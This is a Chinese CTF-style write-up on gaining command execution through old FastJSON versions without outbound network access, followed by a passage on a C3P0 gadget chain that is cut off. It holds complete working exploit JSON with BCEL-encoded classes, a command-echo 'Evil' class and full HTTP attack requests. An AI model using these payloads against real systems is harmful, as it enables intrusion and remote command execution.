提交返回异常,且无请求产生,也就说明了目标机器无DNS且无法出网,也就是说需要在不出网的场景下实现RCE。

然后探测目标classpath下是否存在公开的FastJSON不出网RCE的利用链,

1
2
3
4
5
6
7
{"a":{"@type":"java.lang.Class",
"val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},"b":{
"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},
"username":"a",
"password":"b"
}

返回异常,证明classpath下不存在dbcp利用链

1
2
3
4
5
6
7
{"a":{"@type":"java.lang.Class",
"val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},"b":{
"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},
"username":"a",
"password":"b"
}

返回正常,证明classpath下存在mybatis,进而使用mybatis实现不出网RCE。

1
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$hA$Q$ac$b1$8d$f7$c1$9a$87$c1$e6$91$84$98$b7$8d$E$3e$e4h$94K$ER$94M$88bd$94$e3x$Y$cc$c0$b2$b3Z$8f$81$3f$e2$cc$85D$89$94$dc$f3Q$88$9e$F$ZKd$P$dd$d3U$d5$d5$3d$b3$ff$ee$7f$fd$B$f0$Ou$l$k$e6$7d$y$60$d1$c5$x$9b_$3bx$e3$60$c9G$Ro$j$d4$i$y3$UwU$ac$cc$7b$86$7c$bd$d1a$u$7c$d0$c7$92a2T$b1$fc2$b8$e8$ca$f4$90w$pB$ca$a1$W$3c$ea$f0T$d9$fa$J$y$98S$d5$t$8fp$efRE$z$GwWDOv$8c$e8Jx$c6$_yS$e9$e6$c7$83$bdk$n$T$a3tL$b2R$dbpq$fe$99$t$99$N$z$c5$e0$b7$f5$m$Vr_Y$5b$cf$da$ed$d8$de$A$3e$c6$j$ac$EX$c5$gCU$t2$aem$f3$g$ad$o$G$R7$3a$dd$e1I$S$60$j$h$M3$ff$99$c6$b0$98$a1$R$8f$7b$cdo$83$d8$a8$L9$q$ad$fb$s$dd$c2$8ec$98z$W$kt$cf$a40$M$d3$_zi$d3$9e4$c3$a2Ro$84$_4t$c3$82$bc$96$82a$b3$3e$c2$b6M$aa$e2$5ek$b4$e1k$aa$85$ec$f7$a9a$7eTyx$9a$ea$x$fb4$adF$H$cbp$e9$3f$da$_$Hf$9f$83b$40U$932$a3$3c$b6$f5$D$ec6$a3K$U$8b$Z$98$c7$E$c5$e0Q$80ILQv1$3dl$3e$n$85$e5$e6$7e$oW$ce$df$a1pt$83$d2$a7$df$u$7e$t7$e7$efmFz$q$j$p$a1$b5$ad$d2$Jp$I$f3$Ju$J$f3$I$h$l$8e$b1u$Z3T$cdf$ba$5c$e8$a0$e2$RQ$cd6$9b$7b$A$7f$Q$bb$L$96$C$A$A"}}:{}}}

使用1.2.47的利用,没能成功实现RCE,能够猜到版本为1.2.25 - 1.2.32 之间的版本。接下来就是上面写的分析这些版本里如何实现RCE内容了,这也是我自己当初在黑盒测目标时的整个分析历程。

1
2
3
@ResponseBody
@PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
public Object doLogin(@RequestBody User user, HttpServletRequest request){

SpringBoot的fastJsonHttpMessageConverters与普通的JSON.parse也存在一定的不同。

1
[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}]

首先是因为接口定义的类并不是一个数组,而之前构造的利用是数组形式的,并不支持这种形式,需要换回{}

1
2
3
4
{"x":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}],
"username":"a",
"password":"b"
}

提交后发现依然失败。

调试发现是因为SpringBoot fastJsonHttpMessageConverters进行JSON.parse的时候会默认设置期望类为路由参数里对应的类,也就是期望类为com.n1ctf.oldfastjson.User,而普通的JSON.parse是不存在这个问题的。
这也就导致了Root context变为了com.n1ctf.oldfastjson.User对象,因为x并不是User的Field,会被设置为null,导致了之前构造payload里面的各种引用都需要更改。
但是直接将引用修改为$.null[1]也无法利用,因为这时候的RootContext变为了User。
com.alibaba.fastjson.JSONPath#getPropertyValue 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected Object getPropertyValue(Object currentObject, String propertyName, boolean strictMode) {
if (currentObject == null) {
return null;
} else if (currentObject instanceof Map) {
Map map = (Map)currentObject;
Object val = map.get(propertyName);
if (val == null && "size".equals(propertyName)) {
val = map.size();
}

return val;
} else {
Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = this.getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
return beanSerializer.getFieldValue(currentObject, propertyName);
} catch (Exception var12) {
throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName, var12);
}
} else if (currentObject instanceof List) {
List list = (List)currentObject;
if ("size".equals(propertyName)) {
return list.size();
} else {
List<Object> fieldValues = new JSONArray(list.size());

for(int i = 0; i < list.size(); ++i) {
Object obj = list.get(i);
Object itemValue = this.getPropertyValue(obj, propertyName, strictMode);
if (itemValue instanceof Collection) {
Collection collection = (Collection)itemValue;
fieldValues.addAll(collection);
} else {
fieldValues.add(itemValue);
}
}

return fieldValues;
}

首先会对rootContext对象进行一次getFieldValue操作,如果不存在对应Field则会直接抛出异常结束流程。
package com.n1ctf.oldfastjson;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class User {

private String username;
private String password;
private Object friend;

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public Object getFriend() {
return friend;
}

public void setFriend(Object friend) {
this.friend = friend;
}

}

根据题目中给出了User类中,可以发现存在username、password、friend属性。
这里需要使用friend属性来进行反序列化,因为friend属性的类型为Object,而username和password都为String,FastJSON在反序列化Field的时候会根据类型选择反序列化器,String类型就会为StringCodec反序列化器没法反序列化出list。
选择friend属性反序列化出list后,又会递归getPropertyValue,然后又跟前面的流程一样了,遍历List中的对象再递归调用getPropertyValue,触发getter方法实现RCE。
实现代码执行后,SpringBoot就可以轻松实现命令执行回显了,因为BCEL ClassLoader的原因无法直接获取到webapp下的类。先通过Thread.currentThread().getContextClassLoader() 获取当前线程的classloader,进而获取到webapp下的类,实现命令执行回显,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);

m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);

m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);

m = request.getClass().getMethod("getParameter", String.class);

String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();

}

}
1
2
3
{
"a":[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},]
,"username":"asd","password":"asd"}

先将利用类加入到mapping中,再命令执行利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/login HTTP/1.1
Host: 43.154.17.227
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=B7EC019358A6720F1657D9F05520D5DA
Connection: close
Content-Type: application/json
Content-Length: 3290

{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bW$hU$U$fe$86$5c$ce0$9d$96$Q$a0eZ$LE$a9$N$F$82$d6kC$c5$om$z$g$$$S$E$91z$99L$O$c9$c0d$86$ce$85$e2$b5$5e$ea$fd$5e$9f$fd$F$3e$f9$92$b6$ba$ea$ea$83k$e9$f2$c1W$97$P$fa$e2$8b$fe$Ju$9f$5c$m$90$d4$5cN$ce$f9$f6$3e$7b$ef$f3$ed$7dv$e6$e7$7f$be$fd$k$c0$fd$f8RA$x$kWp$k$93bxB$c6$93$K$d2$98$921$cd0$a3$80a$96$e1$v$Fs$c8$I$cdy$ZO$LpA$c6$a2$8cg$Y$96d$9c$90$f1$ac$8ce$Z$X$Y$9eS$f0$3c$5e$Q$c3$8b$Ktd$Vt$c1$90$91$T$bf$5c$M$x2$f2$M$F$F$3d0$c5$b0$w$865$GKB$f4$94i$9b$fe$98$84Pb$60ABx$c2$c9q$Jmi$d3$e6$d3A1$cb$ddy$3dk$R$SO$3b$86n$z$e8$ae$v$d6U0$ec$XL$8fl$a4$cfn$98$d6$a8$84N$97_$M$b8$e7O8$b6$cf7$fd$f3$8e$95$e3$ae$84$f6$f4$aa$be$a1$8fX$ba$9d$l$99$b0t$cf$pU$a9$u$e1$60$j$ee$f2$V$8b$h$fe$c8$U$f7$LN$8e$UBNvU$b8$ddV$99$c9$ae$92$G$89X$d5$8d$E$d9$e5$de$bac$7b$UK$c8$u$e6v$eag$7c$d7$b4$f3$a4$l$s$R$85$d9$b1$dcL$Yu$C$7f$3d$m$5b$7b$d6$J$f1$X$5d$d3$X1wUtMgdv$h$s$f5$bd$Z_7$d6$a6$f4$f52$FD$n$r$8c$a1H$e9$a2$b4HP$cen$g$7c$dd7$v$s$G$9b$c1aXg$b8$c8$40$s$95$8c$T$b8$G$3fg$K$eaZ$FeI$e1C$c5$5d$e8g$f0T$f8$ITl$e0$92$84S$8e$9bOz$o$a0$fc$8a$ab$X$f9$r$c7$5dK$5e$e2$d9$a4Qa6Ye$m9$d7$84p$86M$V$_$e1e$caG$9e$fbU$8dq$9f$O$9c$N$7cND$b4$edJ$87$8aW$f0$aa$84$d8n$aa$e9$5c$w$5e$c3$eb$w$$$e3$N$8a$7f$db$9a$8a7$c5$8e$3de$a4$96$B$95V$b3$ba$I$b7$cc$60l7$d9$SZLJQ$8bW$a0a$d8$a0$ba$uk$E$bei$8dd$M$dd$b6E$e8o$a9x$hWT$bc$83w$Z$deS$f1$3e$3e$Q$E$7dH$5b$$$8c$ab$f8$I$l$ab$f8$E$9f$S$81$e4$ad$96$ac$8e$s$b9R$f1$Z$3eW$f1$F$faU$5cE$3fU$81$60$5cB$f7$edj$ae$ce$cc$e4$ccV$g$r$i$d9$c5$d6$b4$e3$9fs$C$3bW$a7$d2$bb$ad2$edd$C$a3P$b1X$a71$d8$e8u$d2$de$a0$x$r$c4$f3$baK$87i$eer$d2$b2x$5e$b7$c6$N$83$7b$5e$9dJ$j$bb$f3$F$97$eb$U$fe$5e$pp$5dn$fb$b5ugb$m$bd$5b$8b$w$b8$8b$7cU$eb$a5$7c$9e$b4$a3$97o$a9$b6C$bdN$q$f64$VP$S$y$9a$94$R$JG$T$8d$d7$ab$c1$o$d9j$t$ffg$b8a$e9$$$cf$d5$98$3f$ddd$efr$c3$de$81$ff$eb$XQ$93$f8$5c$a32$3c$99h$ec$Z$cb$8d$d0$40$b3$ce$o$Ln$w$c7$e9h$a4c$b4Ru$b5$a0$db$b7$c5s$81$ed$9bE$5e$bd$p$b5E$d7$O$TUX$f4$p$be$c9$a9$fc$T$89$s$N$a9$7e$c7$ac$eb$88$ac$8f$eepU$F$r$ec$pW$936$b5$$$da$c9uj$a7$Hj$eeD$Fo$Lh$7bw$a2$a9$404$7c5$f0$f8$Zn$99$c5$caM$3av$fb$q$d6$dfSq$I$9b$Khw$91muUVn$a6$96$zHhb$91$iGV$ac$40t$82$88a9$kG$l$ee$a4$7f$3a$f1$a2$ff$G$d1$R$d1$82$a3$b4$f8$jQ$u$84$fe$7d$fc$g$a4$ebh$v$n$U$P$97$QI$P$c6$a3$a1$9b$60$r$c8SC$S$cdZKP$a6$87K$d8$TW$x$f8$de$a9$a1$e1$w$9e$K$97$F$fb$g$F$R$z$y$qma$92$y$85$e2$b1LY$ac$85i$ddJ$ebvZ$x$b7$QKE$b5$e8$8f$60$f1x$w$g$bd$89$YI$3a2K$e1xgf$v$a2E3$v$f6$j$ba$96$aec$bfF$d6$P$94$d0$7d$NZ$fc$60$J$87J$b8$p$rk$R$e1$e1$f0$96o$zRu$7e$L$3d$a9V$adU$93K$e8$d5$I8$o$86$beo$e8$b0$n$dcM$e3$i$3ai$dc$870b$f4$8e$e3$Q$3a$88$92$$$dc$87$fd$YC7$3d0hX$qt$N$87$a9A$f7$e0$Kz$a9$5d$f6$e1$x$a2$f2$G$R$f8$Ti$ffJ$96$fe$c01$fc$89$E$fe$c2q$9a$B$x$VB$J$Z$a0$df$Y$7e$p$7c$90H$3f$84_0$84$e12$f1$3f$m$89$R$8ac$M_$e3$k$9a$85$c9$d3U$dcK$b3$I$f9Z$c5$J$8a$oJ$9e$d2$f44$f3$A$3d$9a$dc$m$ad$H$J$93$c9c$i$P$e1aJ$e6I$b2$de$D$e9_$K$8a1$a4$YF$ZN1$3cR$fb$8c$91$fcQ$fa$aad$f34$c6$f1$Y$sp$86$e28KX$L$ce$fd$H$b6$d8$a1$99$$$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}

成功实现命令执行,通过命令执行没有直接发现flag地址。

通过jar命令查看fatjar可以发现flag在里面

如果成功登录系统,也会提示flag在fatjar里(写文章的时候才发现打错了字母 -。-)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);

m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);

m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);

m = request.getClass().getMethod("getParameter", String.class);

String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
output = new Scanner(inputStream).useDelimiter("\\A").next();

m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();

}

}

直接读取flag文件并回显即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/login HTTP/1.1
Host: 43.154.17.227
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=B7EC019358A6720F1657D9F05520D5DA
Connection: close
Content-Type: application/json
Content-Length: 3485

{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bw$TU$U$fe$a6$b9$9c$c9t$a0i$da$C$D$c8U$m$a5m$w$8a$XR$ac$d4$CRMK$r$V$y$c5$cbdr$9aN$3b$99$vs$v$f5$8a$XT$c4$fb$fd$b6$f8$R$fa$Q$40$X$$$9et$z$fd$F$be$fb$e0$93$af$y_$d0$7dr$ni$T$ccjOr$f6$fe$ce$de$df$f9$f69$7b$e6$b7$5b$3f$fe$M$60$3f$beS$Q$c3$T$K2$Y$X$c3$84$8c$e3$K$s$f1$a4$8c$T$MY$F$MS$MO$v8$89S$C$f9$b4$8cia$3c$zcF$c6$Z$86gd$ec$97$f1$ac$8c$e7d$3c$cf$a0$x$c8$c1$QC$5e$B$c7$ac$82$k$Ud$cc$89oS$M$f32$WD$CKF$91$c1V$b0$N$8e$Y$W$c5p$96$c1$95$Q$3dh$da$a6$3f$y$n$94$ec$3d$v$n$3c$ea$e4$b9$84$8e$8ci$f3$89$a0$98$e3$ee$94$9e$b3$c8$92$c88$86n$9d$d4$5dS$cc$ab$c6$b0$3fgz$U$psd$c9$b4$86$qt$bb$fcl$c0$3d$7f$d4$b1$7d$be$ec$ls$ac$3c$a7$i$9d$99y$7dI$l$b4t$bb08j$e9$9eGP$a9$uac$83$dd$e5$b3$W7$fc$c1q$ee$cf9y$C$84$9c$dc$bcH$5b$87$i$cf$cd$T$82$5c$ac$9aF$82$ecro$d1$b1$3d$e2$S2$8a$f9$95$f8$ac$ef$9av$81$f0ar$R$cd$ae$99V$ce$a8$T$f8$8b$B$c5j7m$fa$s$3b$d7$89$5bO$Fk$3a$83cu3$c1$db$Xi$9d$7f$ca5$7d$b1$b3$3aj$b2n$s$d4$9a$ac$af$h$L$e3$fabY$u$S$9a$ca$cb$e0Qq$a9$88$S$94$p$cb$G_$f4Mb$ce$e03$E$MK$M$e7$Y$96$c9$97u$C$d7$e0GM$npL$I$9b$S9T$ec$c2n$86$XT$bc$88$97T$bc$8cW$q$it$dcB$ca$T$84$K$b3$ae$5e$e4$e7$iw$nu$8e$e7RFE$ffTU$a7$d4$89$WeaxU$c5y$bcFU$xp$bf$8a$Y$f1I$96$5c$e0s$92$abcU$d1T$bc$8e7$q$c4W$X$84$f6$a5$e2M$5cP$f1$W$de$s$fe$f5h$w$de$R$x$da$cb$96Z$9dT$9aM$ea$82nY$c1$f8$ea$92Hh3$a9$90m$de$i$N$D$G$9d$9e2$o$f0Mk0k$e8$b6$z$a8_T$f1$$$$$a9x$P$ef3$7c$a0$e2C$7c$q$E$fa$98$96$9c$ZQ$f1$J$3eU$f1$Z$3e$a7B$cc$ee$x$7f$f4B$ca_$sB_$e0KR$95$u$d4$w$d8$d5$a2$80$w$be$c2$d7$w$be$c1n$V$dfb7$j$mQ$G$J$h$eet$5c$h$c2$8c$j$bf$5d$5b$J$dbVI8$e1$f8G$9d$c0$ce7$40$b6$d6$n$TN60$e6$w$R$h$Q$7d$cdY$c7$ec$r$ba$8d$c2$3d$a5$bb$b4$99$d6$v$c7$y$8b$Xtk$c40$b8$e75$40$g$q$9f$9a$a3cM$f4$d7$Y$81$ebr$db$af$cd$bb$93$bd$99$d5$u$3a$d6$3d$94$abz$88$ca$fb$c98z$f9$82k$x$e0$N$$$b1$a6$a5$83$8a$60$d1$8f$b2E$c2$aed$f3$cdl$8aH$b1$3a$v$ffanX$ba$cb$f35$e5$P$b5X$3b$d3$b4$b6$f7$ffZM$d4$q$3d$X$e8l$kH6$b7$9b$99fSo$ab$a6$q$Lm$w$db$e9j$96c$a8r$eaj$a4$3b$eb$ee$T$81$ed$9bE$5e$bd8$b5I$cf$8a$QU$b3he$7c$99$d3$9dH$s$5b$f4$b2$c6$V$93$ae$p$aa$3e$b4$oU$d5$ua$z$a5$gk$ecv$ebk$e9$9a$fa$dd$86dK$87xV$a8$81$c7$Ps$cb$yVn$d2$9e$3b$X$b1$f1$f2$8aM$d8t$80V$l$b2$db$N$b9$ab$d2$$$ca$5dp$c4$ab1$ec$bds$f4$s$ce$ac$dc$a3$z$5b$c8$d8b$VQ$8f$ccZ$81h0$R$c3r$3c$8e$ed$b8$9b$k$b7$e2C$P$s$d1h$d1$86$3d$40$5b$H$a2h$tcl$ef$VHW$d1VB$u$R$$$n$92$e9KDC$d7$c1J$90$c7$fb$r$fa$V$xA$99$Y$u$a1$3d$a1V$eck$c6$fb$H$aa$f6t$b8$ecX$db$ec$88ha$e1$e9$I$93g$3a$94$88g$cbn$zL$f3$Y$cd$3bi$ae$dc$40$3c$j$d5$a2$bf$82$r$S$e9h$f4$3a$e2$e4$e9$caN$87$T$dd$d9$e9$88$W$cd$a6$d9O$e8$99$be$8au$gE__$c2$86$x$d0$S$hK$d8T$c2$e6$b4$5c$r$7dW$J$5b$d21$B$d4b$x$fcZD0$d8z$9b$9b$W$a9$92$bb$81miES4$b9$84$ed$9aR$c2$O1$ec$fc$9e$q$K$nI$e3i$ac$a3$b1$Dat$o$8e$$lB7$J$b7$O$f7a$3d$86$a1$d1$db$cdF$9c$c2f$y$60$L$3de$b6$e2$C$bdq$5c$c4$O$5c$c6N$5c$p$e4$_$q$f2$l$U$e9$_$f4$e2$s$f6$e2$W$fa$a4$Q$fa$r$Z$v$b2$A$8b$V$e1$c9$d3G$b38$feA$3f$G$a88$9b$f07$n$G$a9$40$bb$f0$t$ee$c1$3e$e23$8c$dfq$_$fd$KS$c6$l$88$c1$3eD$u$e7$rz$e1$ba$9f$Kx$Z$W$k$c0$83$f4$ku$8d$5e$85$k$o$9bL$d9Gq$Ai$w$faM$q0$84$83P$f00$e5$d9$C$e9_$a2$c9$Y$86$Z$ka8$c40R$fb$7b$94$fc$a3$f4$afR$f4$c38$82$a3x$M$c7$88$d1$Y$d9$da$f0$f8$7f$BH$87$F$e5$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}


结束后,看了NeSE的Writeup,才发现原来不是非得$ref调getter才能解决(我当初主要精力还是在解决怎么实现低版本$ref getter -.-),用JSONObject一样能解决,JSONObect也没有低版本$ref各种限制,利用更简单方便。
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(Map object, Object fieldName)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if (key == "$ref" && context != null && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {

typeName = lexer.stringVal();
lexer.nextToken(13);
Object refValue = null;
ParseContext rootContext;
if ("@".equals(typeName)) {
if (this.context != null) {
rootContext = this.context;
thisObj = rootContext.object;
if (!(thisObj instanceof Object[]) && !(thisObj instanceof Collection)) {
if (rootContext.parent != null) {
refValue = rootContext.parent.object;
}
} else {
refValue = thisObj;
}
}
} else if ("..".equals(typeName)) {
if (context.object != null) {
refValue = context.object;
} else {
this.addResolveTask(new ResolveTask(context, typeName));
this.setResolveStatus(1);
}
} else if ("$".equals(typeName)) {
for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
}

if (rootContext.object != null) {
refValue = rootContext.object;
} else {
this.addResolveTask(new ResolveTask(rootContext, typeName));
this.setResolveStatus(1);
}
} else {
this.addResolveTask(new ResolveTask(context, typeName));
this.setResolveStatus(1);
}

当初没注意到”..”,以为在反序列化Field是所有的$ref都是新增任务后期处理,但是如果$ref是”..”的话就不会新增任务,而是直接获取parent context实现了对属性的赋值。
也就可以实现了前面说的,在JSONObject触发getter之前就已经完成对Field赋值了,最后就很简单的构造了,NeSE🐂🍺。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{"friend":{
"@type": "com.alibaba.fastjson.JSONObject",
"name": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
}
},"x":{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"x": {"x":{{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader": {
"$ref": ".." },"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$ddN$h1$Q$85$8f$93$F$c36$U$I$3f$fd$_$BZ$I$m$c8M$ef$82P$R$C$vR$g$aa$s$82k$c7$98$c4$c8$d8$d1$ae7$e2$b5$b8$81$aa$X$3c$A$PUu$i$w$b2R$bb$96$f6h$ce$7c$c7$b3$9a$7d$fc$fd$eb$B$c0$Xl$c6$98$c4r$8cWx$3d$857A$dfr$bc$e3x$cf0$b9$af$ad$f6$H$M$c5$ea$d6$ZCt$e4$$$U$c3lS$5b$d5$ca$ae$bb$w$e9$88$ae$n$a7$dctR$983$91$e8P$ff5$p$df$d7$v$dd$d1$3c$kjSg$88$8fo$a4$gx$edl$ca$f1$81$e3$p$c7$KG$85c$95zm$97$rR$9d$e8$Q$9c$O$81$bd$x1$U$rpLq$ac$95$b0$8eO$M$cbn$a0leWTh$98$cc$8c$f0$$$d9$T$83A$J$9f$b1A$f3B$8ca$$$EkF$d8$5e$ed$b4$7b$a5$a4gX$YY$da$d5$g$a7$cf$df$c0P$Z$83GF$a4i$cb$f9$T$97$d9$8b$i$b22FZ$ae$9d$c9$fe7$e5$fb$$O$ec$8c$89D$5d$g$gWk$d8$nm$p$b4$3b$o$e9$v$ff$ff$91$NcTO$98C$vU$9a$e6$90$f91$f2$p$b3$5e_$d3Bb$ba$e5$b9X$aan5$ffah$bd$91$baQ$92a$b3$9a$eb$b6$7d$a2m$af$9e$P$7cO$5c$98X$c7$w$s$e8$bf$87$87$d1$a1$3d$a3$80i$aa$be$922$d2$97$db$f7$60$3fQ$u$X$ef$Q$9d$df$92S$40$i$7c$U$e9$3d$8b$I$f3$98A$Z$_$a8$w$3d$rHgF$g$9c$Jb$e6$88$vc$81$ba$8b$a3$fc$d2$l$aa$ee$90$ebu$C$A$A"}}:"x"}},
}},
"username":"a","password":"b"}

2、FastJSON Attack H2 JDBC Driver

目标使用了一套通用的系统,在分析该系统时发现使用了fastjson1.2.47漏洞版本也找到了使用FastJSON解析的接口。但也因为目标无法出网的问题导致无法利用,观察lib列表发现了多个漏洞利用常用包。

观察这些Jar包,能想到一个很简单的思路,借助C3P0的二次反序列化,虽然Commons-Collections-3.2.2、Commons-Collections4-4.1都是无漏洞版本,但是还有Commons-Beanutils,那么最终的利用就是 Fastjson -> C3P0 -> CommonsBeanutils。

首先大概了解一下C3P0的二次反序列化,
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource

1
2
3
4
public WrapperConnectionPoolDataSource(boolean autoregister){
super(autoregister);
this.connectionTester = C3P0Registry.getDefaultConnectionTester();
this.setUpPropertyListeners(); // 设置属性监听器

在构造方法中,开启了一个属性的监听器

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

1
2
3
4
5
public synchronized void setUserOverridesAsString(String userOverridesAsString) throws PropertyVetoException { 
String oldVal = this.userOverridesAsString;
if (!this.eqOrBothNull(oldVal, userOverridesAsString)){
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
}

在setter方法中,如果修改了userOverridesAsString属性值就会触发监听器

1
2
3
4
5
6
private void setUpPropertyListeners() { 
......................
if ("userOverridesAsString".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
}

在监听器方法中,如果修改的是userOverridesAsString属性,就会调用到C3P0ImplUtils.parseUserOverridesAsString方法

1
2
3
4
5
